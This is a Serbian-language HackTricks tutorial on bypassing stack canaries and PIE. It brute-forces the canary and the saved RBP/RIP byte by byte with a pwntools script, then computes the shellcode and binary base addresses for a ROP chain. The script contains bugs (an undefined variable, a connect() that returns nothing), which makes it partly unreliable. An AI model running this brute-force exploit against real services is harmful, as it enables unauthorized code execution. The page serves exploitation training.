BF Addresses in the Stack

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Ako se suočavate sa binarnim fajlom zaštićenim kanarincem i PIE-om (Position Independent Executable) verovatno ćete morati da pronađete način da ih zaobiđete.

Imajte na umu da checksec možda neće otkriti da je binarni fajl zaštićen kanarincem ako je statički kompajliran i nije sposoban da identifikuje funkciju. Međutim, možete ručno primetiti ovo ako primetite da je vrednost sačuvana na stack-u na početku poziva funkcije i ako se ta vrednost proverava pre izlaska.

Brute-Force Adresa

Da biste zaobišli PIE morate procureti neku adresu. Ako binarni fajl ne otkriva nikakve adrese, najbolje je brute-force-ovati RBP i RIP sačuvane na stack-u u ranjivoj funkciji. Na primer, ako je binarni fajl zaštićen i kanarincem i PIE-om, možete početi sa brute-force-ovanjem kanarinca, zatim će sledećih 8 bajtova (x64) biti sačuvani RBP i sledećih 8 bajtova će biti sačuvani RIP.

Pretpostavlja se da se povratna adresa unutar stack-a odnosi na glavni binarni kod, što će obično biti slučaj ako je ranjivost locirana u binarnom kodu.

Da biste brute-force-ovali RBP i RIP iz binarnog fajla možete zaključiti da je validan pogodak bajta tačan ako program nešto izbaci ili se jednostavno ne sruši. Ista funkcija koja je pružena za brute-force-ovanje kanarinca može se koristiti za brute-force-ovanje RBP i RIP:

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

Poslednje što vam je potrebno da biste pobedili PIE jeste da izračunate korisne adrese iz procurjelih adresa: RBP i RIP.

Iz RBP-a možete izračunati gde pišete svoj shell na steku. Ovo može biti veoma korisno kako biste znali gde ćete napisati string "/bin/sh\x00" unutar steka. Da biste izračunali udaljenost između procurjelog RBP-a i vašeg shell koda, jednostavno postavite prekidnu tačku nakon što procuri RBP i proverite gde se nalazi vaš shell kod, zatim možete izračunati udaljenost između shell koda i RBP-a:

INI_SHELLCODE = RBP - 1152

Iz RIP-a možete izračunati baznu adresu PIE binarnog fajla što će vam biti potrebno za kreiranje validnog ROP lanca. Za izračunavanje bazne adrese jednostavno uradite objdump -d vunbinary i proverite poslednje adrese disasemblovanog koda:

U tom primeru možete videti da je potrebno samo 1 bajt i po da biste locirali sav kod, zatim, bazna adresa u ovom slučaju će biti procuren RIP ali završava na "000". Na primer, ako je procurena 0x562002970ecf bazna adresa će biti 0x562002970000

elf.address = RIP - (RIP & 0xfff)

Unapređenja

Prema nekim posmatranjima iz ovog posta, moguće je da, kada procure vrednosti RBP i RIP, server neće "pucati" sa nekim vrednostima koje nisu tačne, a BF skripta će misliti da su dobijene dobre vrednosti. To je zato što je moguće da neke adrese jednostavno neće uzrokovati pad čak i ako nisu tačne.

Prema tom blog postu, preporučuje se dodavanje kratkog kašnjenja između zahteva ka serveru.

Last updated